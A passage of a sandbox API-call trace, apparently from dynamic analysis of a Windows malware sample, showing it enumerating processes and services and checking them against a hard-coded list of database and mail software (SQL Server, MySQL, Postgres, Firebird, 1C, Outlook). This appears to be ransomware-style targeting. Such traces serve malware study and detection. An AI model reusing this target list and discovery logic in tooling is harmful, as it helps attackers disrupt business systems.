lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0159.748] lstrlenW (lpString="spoolsv.exe") returned 11 [0159.748] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0159.749] lstrlenW (lpString="reader_sl.exe") returned 13 [0159.749] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.749] lstrlenW (lpString="svchost.exe") returned 11 [0159.749] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0159.749] lstrlenW (lpString="taskhost.exe") returned 12 [0159.749] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0159.750] lstrlenW (lpString="dllhost.exe") returned 11 [0159.750] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0159.750] lstrlenW (lpString="taskhost.exe") returned 12 [0159.750] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0159.751] CloseHandle (hObject=0x3a0) returned 1 [0159.751] Sleep (dwMilliseconds=0x1f4) [0160.418] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0160.418] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0160.418] GetLastError () returned 0xea [0160.418] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x4285088 [0160.419] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0160.419] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0160.420] lstrlenW (lpString="Appinfo") returned 7 [0160.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0160.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0160.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0160.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0160.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0160.420] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.420] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.420] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.420] lstrlenW (lpString="AudioSrv") returned 8 [0160.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0160.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0160.420] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0160.420] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0160.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0160.420] lstrlenW (lpString="BFE") returned 3 [0160.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.420] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.420] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.420] lstrlenW (lpString="CryptSvc") returned 8 [0160.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.420] lstrlenW (lpString="CscService") returned 10 [0160.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0160.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0160.421] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0160.421] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0160.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0160.421] lstrlenW (lpString="DcomLaunch") returned 10 [0160.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.421] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.421] lstrlenW (lpString="Dhcp") returned 4 [0160.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.421] lstrlenW (lpString="Dnscache") returned 8 [0160.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.421] lstrlenW (lpString="DPS") returned 3 [0160.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.421] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.421] lstrlenW (lpString="eventlog") returned 8 [0160.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0160.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0160.421] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0160.421] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0160.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0160.421] lstrlenW (lpString="EventSystem") returned 11 [0160.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.422] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.422] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.422] lstrlenW (lpString="gpsvc") returned 5 [0160.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.422] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.422] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.422] lstrlenW (lpString="iphlpsvc") returned 8 [0160.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.422] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.422] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.422] lstrlenW (lpString="LanmanServer") returned 12 [0160.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.422] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.422] lstrlenW (lpString="lmhosts") returned 7 [0160.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.422] lstrlenW (lpString="MMCSS") returned 5 [0160.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0160.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0160.423] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0160.423] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0160.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0160.423] lstrlenW (lpString="MpsSvc") returned 6 [0160.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.423] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.423] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.423] lstrlenW (lpString="Netman") returned 6 [0160.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0160.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0160.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0160.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0160.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0160.423] lstrlenW (lpString="netprofm") returned 8 [0160.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.423] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.423] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.423] lstrlenW (lpString="NlaSvc") returned 6 [0160.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.423] lstrlenW (lpString="nsi") returned 3 [0160.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.423] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.423] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.423] lstrlenW (lpString="PcaSvc") returned 6 [0160.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.424] lstrlenW (lpString="PlugPlay") returned 8 [0160.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.424] lstrlenW (lpString="Power") returned 5 [0160.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.424] lstrlenW (lpString="ProfSvc") returned 7 [0160.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.424] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.424] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.424] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.424] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.424] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.424] lstrlenW (lpString="RpcSs") returned 5 [0160.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.424] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.424] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.424] lstrlenW (lpString="SamSs") returned 5 [0160.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.425] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.425] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.425] lstrlenW (lpString="Schedule") returned 8 [0160.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.425] lstrlenW (lpString="SENS") returned 4 [0160.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.425] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.425] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.425] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.425] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.425] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.425] lstrlenW (lpString="Spooler") returned 7 [0160.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.426] lstrlenW (lpString="SysMain") returned 7 [0160.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.426] lstrlenW (lpString="Themes") returned 6 [0160.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.426] lstrlenW (lpString="TrkWks") returned 6 [0160.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0160.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0160.426] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0160.426] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0160.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0160.426] lstrlenW (lpString="UxSms") returned 5 [0160.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0160.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0160.426] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0160.426] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0160.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0160.426] lstrlenW (lpString="WdiServiceHost") returned 14 [0160.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.426] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0160.426] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0160.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0160.426] lstrlenW (lpString="WdiSystemHost") returned 13 [0160.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.426] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0160.427] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0160.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0160.427] lstrlenW (lpString="Winmgmt") returned 7 [0160.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0160.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0160.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0160.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0160.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0160.427] lstrlenW (lpString="WPDBusEnum") returned 10 [0160.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.427] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0160.427] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0160.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0160.427] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0160.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0160.429] Process32FirstW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.429] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.430] lstrlenW (lpString="System") returned 6 [0160.430] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0160.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0160.430] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0160.430] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0160.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0160.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0160.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0160.430] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.430] lstrlenW (lpString="smss.exe") returned 8 [0160.430] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0160.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0160.430] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0160.430] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0160.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0160.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0160.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0160.430] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.431] lstrlenW (lpString="csrss.exe") returned 9 [0160.431] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.431] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.431] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.431] lstrcmpiW 